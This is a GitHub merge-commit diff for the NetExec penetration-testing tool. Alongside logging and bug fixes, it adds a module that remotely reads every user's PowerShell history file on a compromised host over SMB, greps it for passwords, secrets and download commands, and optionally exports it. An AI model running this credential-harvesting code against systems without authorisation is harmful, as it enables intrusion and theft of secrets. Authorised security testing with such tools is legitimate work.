Merge branch 'main' into bugfix/db-interface-error

This commit is contained in:
Pavel Redyukov
2024-10-02 14:10:26 +03:00
committed by GitHub
4 changed files with 91 additions and 14 deletions
+9 -8
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@@ -5,6 +5,7 @@ import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -30,7 +31,7 @@ def setup_debug_logging():
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
@@ -163,15 +164,16 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
file_formatter = TermEscapeCodeFormatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@@ -193,11 +195,10 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
return os.path.join(
os.path.expanduser("~/.nxc"),
NXC_PATH,
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
+1 -1
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@@ -22,7 +22,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
+8 -5
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@@ -1,3 +1,5 @@
from pyasn1.error import PyAsn1Error
class NXCModule:
"""
@@ -21,9 +23,10 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
result = []
context.log.display("Getting the MachineAccountQuota")
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
+73
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@@ -0,0 +1,73 @@
import traceback
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
"""Module by @357384n"""
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""To export all the history you can add the following option: -o export=True"""
context.log.info(f"Received module options: {module_options}")
self.export = bool(module_options.get("EXPORT", False))
context.log.info(f"Option export set to: {self.export}")
def analyze_history(self, history):
"""Analyze PowerShell history for sensitive information."""
sensitive_keywords = [
"password", "passwd", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
sensitive_commands = []
for command in history:
command_lower = command.lower()
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
sensitive_commands.append(command.strip())
return sensitive_commands
def on_admin_login(self, context, connection):
"""Main function to retrieve and analyze PowerShell history."""
try:
context.log.info("Retrieving PowerShell history...")
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
history = connection.execute(command, True).split("\n")
if history:
sensitive_commands = self.analyze_history(history)
if sensitive_commands:
context.log.highlight("Sensitive commands found in PowerShell history:")
for command in sensitive_commands:
context.log.highlight(f" {command}")
else:
context.log.info("No sensitive commands found in PowerShell history.")
else:
context.log.info("No PowerShell history found.")
# Check if export is enabled
context.log.info(f"Export option is set to: {self.export}")
if self.export and history:
host = connection.host # Assuming 'host' contains the target IP or hostname
filename = f"{host}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
context.log.info(f"Export enabled, writing history to {path}")
try:
with open(path, "w") as file:
for cmd in history:
file.write(cmd + "\n")
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())